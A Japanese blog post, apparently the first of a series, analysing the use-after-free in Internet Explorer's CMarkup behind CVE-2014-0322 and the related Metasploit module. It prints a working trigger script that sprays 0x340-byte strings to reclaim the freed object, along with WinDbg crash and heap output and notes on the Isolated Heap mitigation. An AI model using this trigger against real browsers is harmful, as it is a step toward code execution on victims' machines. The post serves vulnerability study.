Deep Dive into Exploit of Use-After-Free Vulnerability – 1

以前紹介した Metasploit に含まれる CVE-2014-0322 の脆弱性を利用するモジュールについて、ようやくある程度の理解ができるようになったので記事にします。かなり長くなりそうなので、分割します。

このモジュールは、以下 2 つのファイルで構成されます。ruby のスクリプトと、Flash の swf ファイルです。ruby のスクリプトの中に、JavaScript を含む HTML ページが埋め込まれています。

/usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
/usr/share/metasploit-framework/data/exploits/CVE-2014-0322/AsXploit.swf

Ruby のファイルは、GitHub からも見ることができます。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

AsXploit.swf のソースコードは Metasploit に含まれていないので、JPEXS Free Flash Decompiler で逆コンパイルしました。わりと綺麗なコードを生成してくれます。

と、思っていたらソースあったし・・・これで 1 日ぐらいロスした orz
https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

Ruby のスクリプトの中に、参考 URL として以下のブログ記事が挙げられています。これはMISC Magazine という雑誌に載せる記事の概要だそうです。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

まずは、CVE-2014-0322 というのはどういうバグで、どうすると何が起こるのか、を見てみます。

以下は、HDW Sec のブログに載っている JavaScript を少し単純化したものです。このコードを含む適当な HTML を書いて、Internet Explorer 10 (修正パッチである KB2925418 を含まないもの) で開くと、IE がクラッシュします。

<script>
    function dword2data(dword) {
        var d = Number(dword).toString(16);
        while (d.length < 8)
            d = ‘0’ + d;
        return unescape(‘%u’ + d.substr(4, 8) + ‘%u’ + d.substr(0, 4));
    }

    var g_arr = [];
    var arrLen = 0x250;

    function fun() {
        var a = 0;
        for (a = 0; a < arrLen; ++a) {
            g_arr[a] = document.createElement(‘div’)
        }

        var magic1 = 0xdeadc0de;
        var magic2 = 0x12345678;

        var b = dword2data(magic1);
        while (b.length < 0x360) {
            b += dword2data(magic2)
        }

        try {
            this.outerHTML = this.outerHTML
        } catch (e) {}

        CollectGarbage();

        for (a = 0; a < arrLen; ++a) {
            g_arr[a].title = b.substring(0, (0x340 – 2) / 2);
        }
    }

     window.onload = function() {
        var a = document.getElementsByTagName(‘script’);
        var b = a[0];
        b.onpropertychange = fun;
        b.appendChild(document.createElement(‘div’));
    }
</script>

デバッガーを繋いでおくと、以下のアクセス違反 (AV = Access Violation) をキャッチできます。スタックトレースから、onload から JavaScript が呼ばれて、appendChild を実行したところで AV になったことが分かります。

(6c.750): Access violation – code c0000005 (first/second chance not available)
eax=12345678 ebx=03e4d1a8 ecx=00000001 edx=03f056c8 esi=03f056c8 edi=03e6d1a0
eip=72da7a59 esp=0290b6fc ebp=0290b768 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
mshtml!CMarkup::UpdateMarkupContentsVersion+0x16:
72da7a59 ff4010          inc     dword ptr [eax+10h]  ds:002b:12345688=????????
0:005> k
ChildEBP RetAddr
0290b6f8 72eada96 mshtml!CMarkup::UpdateMarkupContentsVersion+0x16
0290b768 72eae1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
0290b7ac 72eae065 mshtml!CMarkup::InsertSingleElement+0x169
0290b88c 72eaddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
0290b8b0 72eadd6c mshtml!CMarkup::InsertElementInternal+0x2e
0290b8f0 72eade09 mshtml!CDoc::InsertElement+0x9c
0290b9b8 72e43c10 mshtml!InsertDOMNodeHelper+0x454
0290ba30 72e4390c mshtml!CElement::InsertBeforeHelper+0x2a8
0290ba94 72e4402c mshtml!CElement::InsertBeforeHelper+0xe4
0290bab4 72e46f43 mshtml!CElement::InsertBefore+0x36
0290bb40 72e46e60 mshtml!CElement::Var_appendChild+0xc7
0290bb70 724cb86f mshtml!CFastDOM::CNode::Trampoline_appendChild+0x55
0290bbd8 724a425c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0290bd74 724a36d9 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0290be8c 04fc0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0290be98 7249f8e0 0x4fc0fe1
0290bf20 7249fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0290bf38 7249fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0290bf80 7249f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0290bfac 724cc3cd jscript9!ScriptSite::Execute+0x61
0290c010 731a4a64 jscript9!ScriptEngine::Execute+0x115
0290c0c8 731a4957 mshtml!CListenerDispatch::InvokeVar+0xfe
0290c0e8 731a4791 mshtml!CListenerDispatch::Invoke+0x47
0290c178 731a4064 mshtml!CEventMgr::_InvokeListeners+0x16b
0290c190 731a400f mshtml!CEventMgr::_InvokeListenersOnWindow+0x3b
0290c210 731a44f5 mshtml!CEventMgr::_InvokeListeners+0x1e7
0290c388 72fed3d6 mshtml!CEventMgr::Dispatch+0x4ae
0290c3ac 73025170 mshtml!CEventMgr::DispatchEvent+0xdd
0290c3e4 730256d4 mshtml!COmWindowProxy::Fire_onload+0x134
0290c444 730239fb mshtml!CMarkup::OnLoadStatusDone+0x448

eax+10 が指す 12345688 というアドレスは、無効な領域なので、Read/Write ともにできません。inc 命令は Read/Write 両方を行うため、AV が発生します。ここでの最大のポイントは、eax の持つ 12345678 という値にあります。このアドレス、JavaScript 内で変数として指定されています。変数を別の値に変えると、AV が発生するアドレスを任意に変えられます。それだけでなく、書き込み可能なアドレスであれば任意の場所の Byte 値をインクリメントできることになります。これは IE のバグであり、CVE-2014-0322 が脆弱性と呼ばれる所以です。「書き込み可能な任意の場所の Byte 値をインクリメントできる」ことを起点として、「任意のペイロード (meterpreter のようなバイナリ) を適当な位置に書き込んで、プログラム カウンターをそこに変更して実行する」 という、"わらしべ長者" になれば exploit 成功です。

まずはこの AV を理解するところから始めます。

0:005> u MSHTML!CMarkup::UpdateMarkupContentsVersion
mshtml!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch]
72da7a46 40              inc     eax
72da7a47 0d00000080      or      eax,80000000h
72da7a4c 89427c          mov     dword ptr [edx+7Ch],eax
72da7a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
72da7a55 85c0            test    eax,eax
72da7a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72da7a5c)
72da7a59 ff4010          inc     dword ptr [eax+10h]

0:005> dd @edx
03f056c8  deadc0de 12345678 12345678 12345678
03f056d8  12345678 12345678 12345678 12345678
03f056e8  12345678 12345678 12345678 12345678
03f056f8  12345678 12345678 12345678 12345678
03f05708  12345678 12345678 12345678 12345678
03f05718  12345678 12345678 12345678 12345678
03f05728  12345678 12345678 12345678 12345678
03f05738  12345678 12345678 12345679 92345679

逆アセンブルの結果を見ると、eax は edx から来ています。edx は何らかのオブジェクトであり、eax はオフセット +AC にあるメンバ変数のようです。eax もまた何らかのオブジェクトであり、NULL チェックの後にオフセット +10 のメンバ変数をインクリメントしている、と読めます。JavaScript の変数の値である eax の値は edx+78 から来ているので、edx の中身を見ると、先頭が deadc0de で、残りは 12345678 で埋められています。再度JavaScript のコードを確認すると、fun 関数における b という文字列変数の内容と一致します。つまり、本来オブジェクトが存在しているべき領域が、JavaScript の文字列で置き換えられています。

edx のアドレスの種類を調べるため、!address edx コマンドを実行します。

0:005> r edx
edx=03f056c8

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  Heap
Base Address:           03e10000
End Address:            03f0f000
Region Size:            000ff000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        03e10000
Allocation Protect:     00000004        PAGE_READWRITE
More info:              heap owning the address: !heap 0x6e0000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x3f056c8

0:005> !heap -x 0x3f056c8
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
03f056c0  03f056c8  006e0000  03e79a28       348      -            8  LFH;busy

この出力結果は、03e10000から03f0f000までの範囲がヒープ領域であり、edx=03f056c8 もそこに含まれていることを示します。さらに !heap コマンドでヒープ領域を分析すると、0x340 バイトのバッファーであるようです(Size の 348 から Unused の 8 を引いた値が実際のサイズ)。 ヒープ領域の境界が分かったので、その前後も見ておきます。

03f056a0  12345678 12345678 12345678 12345678
03f056b0  12345678 12345678 12345678 00005678
03f056c0  461b2184 88003400 deadc0de 12345678
03f056c0  12345678 12345678 12345678 12345678
03f056e0  12345678 12345678 12345678 12345678
03f056f0  12345678 12345678 12345678 12345678

03f059e0  12345678 12345678 12345678 12345678
03f059f0  12345678 12345678 12345678 12345678
03f05a00  12345678 00005678
461b201d 88003500
03f05a10  deadc0de 12345678 12345678 12345678
03f05a20  12345678 12345678 12345678 12345678
03f05a30  12345678 12345678 12345678 12345678

前後ともに、同じ文字列で埋められています。03f056c0 から 0x340 バイト続く文字列の最後の Word 値 (at 03f05a06) は 0x0000 で、おそらく NULL 終端文字と考えられます。そして次の文字列の先頭 (deadc0de) があるアドレス 03f05a10 に対して !heap を実行すると、先ほどと同じ結果が返ってきます。

0:005> !heap -x 03f05a10
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
03f05a08  03f05a10  006e0000  03e79a28       348      -            8  LFH;busy

ここで JavaScript のコードを確認すると、以下の for ループが見つかります。

for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = b.substring(0, (0x340 – 2) / 2);
}

部分文字列の長さ "(0x340 – 2) / 2" のうち、/2 の部分は、JavaScript における文字は UTF-16 で 1 文字 2 バイトだからでしょう。-2 は、内部的に文字の末尾に NULL 終端文字が入ることを考慮していると考えられます。つまり、この部分文字列の一つ一つがちょうど 0x340 バイトのヒープを確保するようにデザインされています。

AV のより詳細な分析を行うため、Full Page Heap と User-mode stacktrace database を有効にしてから同じページを開きます。デバッガーに含まれている gflags を使って "gflags -i iexplore.exe +hpa +ust" コマンドを実行してください。Page Heap と User-mode stack trace database についてはこちら↓

The Structure of a Page Heap Block
http://msdn.microsoft.com/en-us/library/ms220938(v=vs.90).aspx

GFlags and PageHeap (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff549561(v=vs.85).aspx

Create user mode stack trace database (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff540107(v=vs.85).aspx

また 同じ関数で AV が発生しますが、発生個所が少し違っています。

mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch]
72d37a46 40              inc     eax
72d37a47 0d00000080      or      eax,80000000h
72d37a4c 89427c          mov     dword ptr [edx+7Ch],eax
72d37a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
72d37a55 85c0            test    eax,eax
72d37a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72d37a5c)
72d37a59 ff4010          inc     dword ptr [eax+10h] <<< ここはパス
72d37a5c 8b8a94000000    mov     ecx,dword ptr [edx+94h]
72d37a62 33c0            xor     eax,eax
72d37a64 85c9            test    ecx,ecx
72d37a66 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x28 (72d37a6b)
72d37a68 8b410c          mov     eax,dword ptr [ecx+0Ch]
72d37a6b 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:002b:000001c0=????????

0:005> dd edx
0d032cc0  00000000 00000000 00000000 00000000
0d032cd0  00000000 00000000 00000000 00000000
0d032ce0  00000000 00000000 00000000 00000000
0d032cf0  00000000 00000000 00000000 00000000
0d032d00  00000000 00000000 00000000 00000000
0d032d10  00000000 00000000 00000000 00000000
0d032d20  00000000 00000000 00000000 00000000
0d032d30  00000000 00000000 00000001 80000001

Page Heap なしでクラッシュした inc はパスして、cmp でクラッシュしました。同様に edx の指すバッファーを見ると、deadc0de はなく、00000000 で埋められています (一部は、クラッシュする前のコードによって書き換えられています)。inc はその前の NULL チェックで弾かれて実行されなかっただけのようです。先ほどと同様、edx に対して !address と !heap を実行します。Full Page Heap が有効になっているので、!heap -p コマンドが使えます。

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  PageHeap
Base Address:           0d032000
End Address:            0d033000
Region Size:            00001000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        0d030000
Allocation Protect:     00000001        PAGE_NOACCESS
More info:              !heap -p 0xac1000
More info:              !heap -p -a 0xd032cc0

0:005> !heap -p -a 0xd032cc0
    address 0d032cc0 found in
    _DPH_HEAP_ROOT @ ac1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr
   VirtSize)
                                 cb9316c:          d032ff0               10 -          d032000
       2000
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
    77d132ff ntdll!RtlAllocateHeap+0x00000176
    72ca6d51 mshtml!CAttrArray::Set+0x0000004e
    72dc8645 mshtml!CAttrArray::SetString+0x00000041
    72e191b3 mshtml!BASICPROPPARAMS::SetStringProperty+0x00000243
    72f392e1 mshtml!CBase::put_StringHelper+0x0000005e
    72f037a4 mshtml!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000074
    7245b86f jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    7245c6ba jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    72460953 jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    724336d9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

ヒープ領域に属している点は同じですが、!heap -p -a の実行結果では 0x10 バイトの別の場所のヒープが出力されます。edx が指すアドレスにバッファーは存在しないようです。PageHeap なしのときの 0x340 バイトの文字列はどこへ行ったのでしょうか。

今度は、gflags の設定はそのままで、AV が発生しない正常な動作を見てみます。mshtml!CMarkup::UpdateMarkupContentsVersion の先頭にブレークポイントを設定してから、JavaScript を含んでいそうな適当なページを開きます。複数のコードパスでヒットしますが、なるべく近いものを使いたいのでコールスタックに mshtml!CMarkup::InsertElementInternal が含まれているブレークを見つけます。

0:005> r
eax=00000000 ebx=120a2fa0 ecx=2d875894 edx=10fe7cc0 esi=10fe7cc0 edi=0e38afc8
eip=72d37a43 esp=091db2fc ebp=091db368 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:10fe7d3c=80000028
0:005> k5
ChildEBP RetAddr
091db2f8 72e3da96 mshtml!CMarkup::UpdateMarkupContentsVersion
091db368 72e3e1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
091db3ac 72e3e065 mshtml!CMarkup::InsertSingleElement+0x169
091db48c 72e3ddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
091db4b0 72e3dd6c mshtml!CMarkup::InsertElementInternal+0x2e

!address と !heap を実行します。

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  PageHeap
Base Address:           10fe7000
End Address:            10fe8000
Region Size:            00001000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        10f10000
Allocation Protect:     00000001        PAGE_NOACCESS
More info:              !heap -p 0x3981000
More info:              !heap -p -a 0x10fe7cc0

0:005> !heap -p -a 0x10fe7cc0
    address 10fe7cc0 found in
    _DPH_HEAP_ROOT @ 3981000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr
   VirtSize)
                                109b3548:         10fe7cc0              340 -         10fe7000
       2000
          mshtml!CMarkup::`vftable’
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
    77d132ff ntdll!RtlAllocateHeap+0x00000176
    72cc4405 mshtml!CDoc::CreateMarkupFromInfo+0x0000017f
    7313af7f mshtml!CDoc::DoNavigate_CreateMarkupForExistingWindow+0x0000004b
    7313afe7 mshtml!CDoc::DoNavigate+0x000008b3
    72faf5f9 mshtml!CDoc::FollowHyperlink2+0x0000058f
    7313b50f mshtml!CWindow::SuperNavigateInternal+0x000001df
    7313b305 mshtml!CWindow::SuperNavigate2WithBindFlags+0x00000029
    73ef7adb ieframe!CDocObjectHost::_NavigateDocument+0x00000185
    73e7d86c ieframe!CDocObjectHost::SetTarget+0x00000270
    73e7d5cf ieframe!CDocObjectView::CreateViewWindow2+0x000000ef
    73e7d498 ieframe!CDocObjectView::CreateViewWindow+0x0000005f
    73e7d40d ieframe!FileCabinet_CreateViewWindow2+0x0000013c
    73e7d20c ieframe!CBaseBrowser2::_CreateNewShellView+0x000001db
    73e7cff9 ieframe!CBaseBrowser2::_CreateNewShellViewPidl+0x00000086
    73e7cf17 ieframe!CBaseBrowser2::v_NavigateToPidl+0x000001b8
    73ef7204 ieframe!CBaseBrowser2::_OnGoto+0x00000210
    73ef6fea ieframe!CBaseBrowser2::_OnAsyncOperation+0x00000031
    73e70723 ieframe!CBaseBrowser2::v_WndProc+0x0000013c
    73fc6257 ieframe!CShellBrowser2::v_WndProc+0x00000195
    73e41fd8 ieframe!CShellBrowser2::s_WndProc+0x0000006d
    767c77d8 user32!InternalCallWinProc+0x00000023
    767c78cb user32!UserCallWinProcCheckWow+0x00000100
    767c899d user32!DispatchMessageWorker+0x000003ef
    767c8a66 user32!DispatchMessageW+0x00000010
    73e4363e ieframe!CTabWindow::_TabWindowThreadProc+0x00000476
    73e90331 ieframe!LCIETab_ThreadProc+0x00000378
    77a87bc8 iertutil!CIsoWinMsg::PostQueuedMessagesToComponent+0x0000004b
    73c02a34 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000066
    753a8543 kernel32!BaseThreadInitThunk+0x0000000e

長さ 0x340 のオブジェクトが出てきました。edx のアドレスの中身をみます。

0:005> dd edx
10fe7cc0  72c45b90 00000007 00000000 000000a0
10fe7cd0  10f6bff0 00000000 00000000 00000000
10fe7ce0  00000000 00000000 00000000 00000000
10fe7cf0  0c000001 8247c000 00000000 00000000
10fe7d00  00000000 0d6eafc0 0ff94f50 00000000
10fe7d10  00000100 00000000 00000000 0d726fc0
10fe7d20  00000002 00000004 00000010 0000a4d1
10fe7d30  10995f20 00000000 00000029 80000028
0:005> ln 72c45b90
(72c45b90)   mshtml!CMarkup::`vftable’   |  (72c45de8)   mshtml!CElement::`vftable’
Exact matches:
    mshtml!CMarkup::`vftable’ = <no type information>
0:005> dds 72c45b90
72c45b90  72f7cf90 mshtml!CMarkup::PrivateQueryInterface
72c45b94  72c63a74 mshtml!CMarkup::PrivateAddRef
72c45b98  72c63a51 mshtml!CMarkup::PrivateRelease
72c45b9c  73277ab3 mshtml!CBase::PrivateGetTypeInfoCount
72c45ba0  73277a7a mshtml!CBase::PrivateGetTypeInfo
72c45ba4  73277a3b mshtml!CBase::PrivateGetIDsOfNames
72c45ba8  73189446 mshtml!CBase::PrivateInvoke
72c45bac  7311b22c mshtml!CBase::PrivateGetDispID

先頭がコード領域のアドレスなので、これは vtable と考えられます。シンボルを見てみると、edx は mshtml!CMarkup クラスであることが分かります。長さは 0x340 です。AV 発生個所が CMarkup のメンバ関数なので、これは this ポインターしょうか。(ecx ではなく edx レジスタなので確証はありませんが。)

以上をまとめると、通常であれば 0x340 のmshtml!CMarkup クラスがヒープ上に確保されているところに、ちょうどヒープ上で0x340 の長さになるようにデザインされた JavaScript の文字列が埋め込まれています。そして、PageHeap 有効下においてこの HTML を開いたときは、edx はヒープ領域の中のバッファーが存在しないアドレスを指していました。これが Use-After-Free の脆弱性です。バッファー解放後に、それとちょうど同じ長さのバッファーを確保させることで、解放された場所と同じ領域が再利用されるのです。バグによって、解放済みのアドレスを指すポインター (=dangling pointer) が残っている間にアドレスの再利用が行われてしまうと、そのポインターは解放されたはずなのに、再び有効なアドレスを指すことになります。これはポインターが乗っ取られた状態です。

次に、PageHeap を無効にし、JavaScript 側で部分文字列の長さを変えて試します。例えばこんな感じ。

for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = b.substring(0, (0x341 – 2) / 2 + 1);
}

こうすると、クラッシュは起きません。手順はこれまでと同じなので結果だけ貼ると、!heap の結果は解放済みのアドレスとして出力されます。これは edx が dangling pointer であることを示しており、バグです。これを乗っ取ることができるので、Use-After-Free が脆弱性と呼ばれます。

0:005> r
eax=00000000 ebx=04a0a058 ecx=00000001 edx=011a6ab8 esi=011a6ab8 edi=04a166a8
eip=72da7a43 esp=033fb3bc ebp=033fb428 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
MSHTML!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:011a6b34=80000005
0:005> !heap -x @edx
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
011a6ab0  011a6ab8  01140000  01140000       348      1000         0  free

トレンドマイクロのサイトに、同様の解析の流れ、及び、Isolated Heap と呼ばれる IE 側の防御メカニズムに関する紹介があります。

Isolated Heap for Internet Explorer Helps Mitigate Exploit | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/isolated-heap-for-internet-explorer-helps-mitigate-uaf-exploits/

Isolated Heap とは、簡単に言うと mshtml (trident) のために専用のヒープ MSHTML!g_hIsolatedHeap を使うようになる機能です。これによって、JavaScript などを使って外部から mshtml の dangling pointer を乗っ取ることが極めて困難になります。この機能は 2014 年 6 月のアップデートに含まれています。

MS14-035: Cumulative security update for Internet Explorer: June 10, 2014
http://support.microsoft.com/kb/2969262

Microsoft Security Bulletin MS14-035 – Critical
https://technet.microsoft.com/library/security/MS14-035

以下のブログによると、Google Chrome のエンジンにも似たような機能が実装されているようです。

Isolated Heap & Friends – Object Allocation Hardening in Web Browsers – mwrlabs
https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends—object-allocation-hardening-in-web-browsers/

というわけで今回はここまで。次回から Flash を使った Exploit の手法を見ていきます。

広告

コメントを残す

以下に詳細を記入するか、アイコンをクリックしてログインしてください。

WordPress.com ロゴ

WordPress.com アカウントを使ってコメントしています。 ログアウト / 変更 )

Twitter 画像

Twitter アカウントを使ってコメントしています。 ログアウト / 変更 )

Facebook の写真

Facebook アカウントを使ってコメントしています。 ログアウト / 変更 )

Google+ フォト

Google+ アカウントを使ってコメントしています。 ログアウト / 変更 )

%s と連携中

%d人のブロガーが「いいね」をつけました。